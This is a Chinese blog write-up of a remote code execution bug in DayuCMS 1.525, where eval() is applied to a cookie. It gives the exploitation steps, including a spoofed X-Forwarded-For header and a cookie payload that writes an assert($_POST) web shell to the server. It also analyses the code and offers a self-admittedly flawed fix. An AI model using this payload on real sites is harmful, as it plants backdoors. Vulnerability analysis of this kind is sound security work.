• DayuCMS 1.525 /include/global.func.php Foreground Arbitrary Code Execution


    catalog

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    Relevant Link:

    http://joychou.org/index.php/web/dayucms-1-526-foreground-remote-code-execution.html
    http://www.wooyun.org/bugs/wooyun-2014-087518


    2. 漏洞触发条件

    1. IP可以利用XSS伪造,所以cookiekey可以固定为: b98b87d11653f2da
    2. 先访问一下/pay/order.php,得到Cookie的prefix,然后和cookiekey拼接,得到cookie键值为:cbpCMSNTNAb98b87d11653f2da
    //这样当再次访问pay/order.php时,get_cookie不再返回flase,string2array函数就能得到调用
    3. 然后修改X_FORWARDED_FOR为0.0.0.0
    4. 新建cookie,内容为1;fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))
    5. 代码执行


    3. 漏洞影响范围
    4. 漏洞代码分析

    /include/global.func.php

    // 字符串转换为数组
    function string2array($str)
    {
        if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');
        if($str=='') return array();
        if(is_array($str))return $str; // 2011-09-13  是数组的话直接返回
        //直接利用eval进行字符串到数组的赋值
        @eval("$array = $str;");
        return $array;
    }

    继续回溯函数调用方
    /pay/order.php

    $payobj=new pay();
    
    $action=isset($action)?$action:'step1';
    session_start();
     
    //cookiekey是字符串'productarray'和IP地址拼接得到的md5 
    $cookiekey=dayucms_md5('productarray'.IP);
    $productarray=string2array(get_cookie($cookiekey));

    IP声明在/include/common.inc.php

    define('IP',getIp());

    include/global.func.php

    // 获取IP地址
    function getIp()
    {
        $ip='未知IP';
    
        if(!empty($_SERVER['HTTP_CLIENT_IP']))
        {
            return is_ip($_SERVER['HTTP_CLIENT_IP'])?$_SERVER['HTTP_CLIENT_IP']:$ip;
        }
        elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            //ip可以利用X-Forwarded-For伪造
            return is_ip($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$ip;
        }
        else
        {
            return is_ip($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:$ip;
        }
    }

    nclude/global.func.php

    function get_cookie($var)
    {
        $var = COOKIE_PRE.$var;
        return isset($_COOKIE[$var])?$_COOKIE[$var]:false;
    }

    string2array函数的正常用法是

    $tmp = 'array("hello"=>"world")';
    $arr = string2array($tmp);
    var_dump($arr); //此时$arr就为一个数组

    但是如果string2array函数参数$str为1;echo 222,那么由于eval可以执行由分号分开的多条语句,所以代码变成@eval("$array = 1;echo 222;"); 导致代码执行,同时需要明白的是,代码注入并不是这个eval漏洞点唯一的利用方式,黑客可以在payload中加入"&{${...}}"这种语法,PHP解析器会立刻进行执行


    5. 防御方法

    /include/global.func.php

    // 字符串转换为数组
    function string2array($str)
    {
        if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');
        if($str=='') return array();
        if(is_array($str))return $str; // 2011-09-13  是数组的话直接返回
        /**/
        $str = escapeshellarg($str);
        /**/
        @eval("$array = $str;");
        return $array;
    }

    这个防御方案存在问题,会将正常传入的array('a' => 'b')这种类型的字符串破坏,导致程序crash,一个可能可行的思考方向是对$str进行token语法树解析,在token语法树层面检测是否存在危险字符


    6. 攻防思考

    0x1: PHP命令注入攻击漏洞的防范

    1. 尽量不要执行外部的应用程序或命令 
    2. 使用自定义函数或函数库实现外部应用程序或命令的功能 
    3. 在执行system、eval等命令执行功能的函数前,确定参数内容 
    4. 使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如
        1) 单引号""会被转义为""
        2) 双引号"""会被转义为"""
        3) 分号";"会被转义为";"
    这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的 
    //escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 
    5. 使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败 

    Relevant Link:

    http://php.net/manual/zh/function.escapeshellarg.php
    http://www.rising.com.cn/newsletter/news/2012-06-27/11810.html

    Copyright (c) 2015 Little5ann All rights reserved

  • 相关阅读:
    浅谈SQL优化入门:1、SQL查询语句的执行顺序
    RabbitMQ 第三课 Exchange交换机详解
    RabbitMQ 第二课 快速入门
    RabbitMQ 第一课 RabbitMQ基本概念
    別人的JVM博客总结
    MySQL面试题 数据库MySQL经典面试题之SQL语句
    Swagger介绍及使用
    hcjk_SQL_FinReport_ismealFlag_Version
    hcjk_SQL 退费干掉,组套全展开,但0元被删掉了,退费的打印待沟通
    hcjk_fr 查询SQL,支持组套
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4705790.html
Copyright © 2020-2023  润新知